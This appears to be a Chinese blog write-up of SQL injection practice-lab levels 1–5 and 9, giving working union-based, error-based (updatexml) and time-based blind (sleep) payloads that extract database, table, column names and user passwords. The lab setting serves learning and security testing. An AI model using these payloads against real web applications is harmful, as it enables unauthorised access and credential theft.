sql注入靶场1-5,9关

第一关:

1通过id=1'的报错信息判断出,此关是'闭合 的字符型

2通过order by判断出该查询共有 3列

3通过语句?id=-1' union select 1,2,3 --+,判断出回显位置是2和3列

4接下来就可以构造sql语句去查询数据库信息

查询当前数据库?id=-1' union select 1,database(),3 --+

查询所有表名?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security' --+

查询user表的字段?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

查询账号密码?id=-1' union select 1,group_concat(username),group_concat(password) from users --+

第二关

1通过id=1'的报错信息判断出,此关是数字型

2用order by判断出字段数为3

3用上关的方法判断出回显为2,3

4然后同样的构造sql语句查询数据库信息

第三关

1同样用id=1'的报错信息判断出闭合方式为')

然后其他步骤相同,只有?id=-1')不一样

第四关

1输入?id=1'不报错,输入?id=1"的报错信息for the right syntax to use near '"1"") LIMIT 0,1' at line 1看出闭合方式为")

其他步骤一样的判断回显位置,判断列数,查询数据库

第五关

1通过id=1'的报错信息判断出,此关是'闭合 的字符型,再用id=1' --+语句,却没有数据回显,说明本关不适用联合查询,有报错信息,可以用报错注入,

2同样用order by判断出字段数为3

3用特殊的报错函数来构造特定的sql语句,将想要的数据库信息显示在报错信息中

查询当前数据库名?id=1' and updatexml(1,concat(0x7e,database(),0x7e),1) --+

第九关

1不管?id=1后面跟的'还是"或者其他符合,回显都不会变,也没有报错信息。

2所以尝试单引号闭合的时间盲注?id=1' and sleep(5) --+,加载页面需要五秒,说明是对的,

3通过延迟时间,只能每个字符每个字符的查询?id=1' and if(ascii(substr(database(),1,1))=115,sleep(3),1) --+,时间太久,可以搭配burp的爆破

相关推荐
你看我名字24 分钟前
Redis 高可用、持久化与故障切换:从缓存组件到云上基础设施
数据库·redis·缓存
风翼靓崽1 小时前
centos7以mysql为例自建yum源
数据库·mysql·adb
码农阿豪1 小时前
MongoDB迁移到金仓数据库:商品属性继续灵活存,订单报表交给 SQL
数据库·sql·mongodb
秋饼1 小时前
Redis 全面解析:从数据结构到主从/哨兵/集群、分布式锁与面试高频考点,代码到原理一次讲透
数据库·redis·分布式·面试·后端开发
秋名RG1 小时前
一条 SQL 语句在 MySQL 中的执行过程详解
数据库·sql·mysql
Canmag 兴隆磁性1 小时前
钕铁硼磁片取向方向检测自动化方案:从人工目检到流水线在线分选的工程实践
运维·数据库·自动化·工业自动化·钕铁硼·自动化检测·磁材料
yangmu32031 小时前
安全审批与日志审计:从“谁批准”到“谁执行”的全链路闭环
数据库
R²AIN SUITE2 小时前
多云或私有云环境怎么选项目管理工具?RainSuite等5种产品的8项部署验证
服务器·网络·数据库
隔振降噪研究员2 小时前
裁断机一响,楼板为什么会跟着抖?
大数据·linux·数据库·人工智能